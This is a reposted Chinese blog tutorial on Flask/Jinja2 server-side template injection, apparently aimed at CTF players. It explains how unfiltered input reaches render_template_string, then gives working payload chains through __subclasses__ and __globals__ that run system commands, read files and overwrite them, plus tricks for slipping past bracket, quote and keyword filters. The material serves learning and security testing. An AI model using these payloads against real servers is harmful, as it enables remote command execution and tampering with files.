0


flask模板注入(ssti),一篇就够了

1.什么是flask?

flask是用python编写的一个轻量web开发框架

2.ssti成因

flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入

本地演示(需要自行安装flask,requests模块)

通过输入参数key可以进行简单的渲染,创造新的网页

当我们把render_template 换成render_template_string后,并对参数不进行处理

看看结果

代码执行了,发生了注入

3.flask基础知识

所有的子类都有一个共同的父类object,如果没指定继承,默认父类是object

class:返回当前类(输入abc,是字符串类,除此以外还有元组类,字典类等)

mor:返回解析函数时,类的调用顺序,本例先调用str类,再调用object类,通过索引的方式__mor[1],就可返回object类

当然还可以通过__base__:返回当前类父类(以字符串的形式)或者__bases__以元组的形式返回所有父类(元组可通过索引访问

print('abc'.__class__.__bases__[0].__subclasses__())
print('abc'.__class__.__base__.__subclasses__())这两者一样)

subclass():返回当前类所有的子类,可通过索引的方式定位某一个子类

有很多,通过len()可以查看其长度,但我们需要可以进行系统命令的os._wrap_close类

于是我们需要定位该类,我们可以通过如下代码进行定位,不同的python版本,位置可能不同,我的版本是3.9,该类的位置在134,(当然也可以引入os模块,快速进行定位)

接下来,就可以继续往下了__init__(初始化方法),再通过__globals__(访问全局变量,字典),通过popen,以及read方法来进行系统命令执行(如我执行的ipconfig)

还可以利用__builtins__下的open进行文件的读取:代码如下

print('abc'.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read())

我们还可以通过写入的方式修改文件内容

print('abc'.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt','w').write('123456'))

原来1.txt里面的内容是abcdef,现在修改为123456

这里返回的是文件内容的长度

我们打开文件发现内容已经修改成功,成功达到了RCE

一些ctf比赛技巧

1.如果[]索引被过滤,可以用__getitem__ ()或者get方法来进行替换

print('abc'.__class__.__base__.__subclasses__().__getitem__(134))

再比如

print('abc'.__class__.__base__.__subclasses__().__getitem__(134).__init__.__globals__.get('popen')('dir').read())

2.如果引号被过滤可以采用以下方式在url中实现

?key={{'abc'.__class__.__base__.__subclasses__().__getitem__(134).__init__.__globals__.get(request.args.a)(request.args.b).read()}}&a=popen&b=dir

3.如果关键字被过滤,可以通过__getattribute__(''+'cla'+'ss'+'')类似的手法进行绕过

标签: flask python 安全

本文转载自: https://blog.csdn.net/qq_59950255/article/details/123215817
版权归原作者 伤心的小尾巴 所有, 如有侵权,请联系我们删除。

“flask模板注入(ssti),一篇就够了”的评论:

还没有评论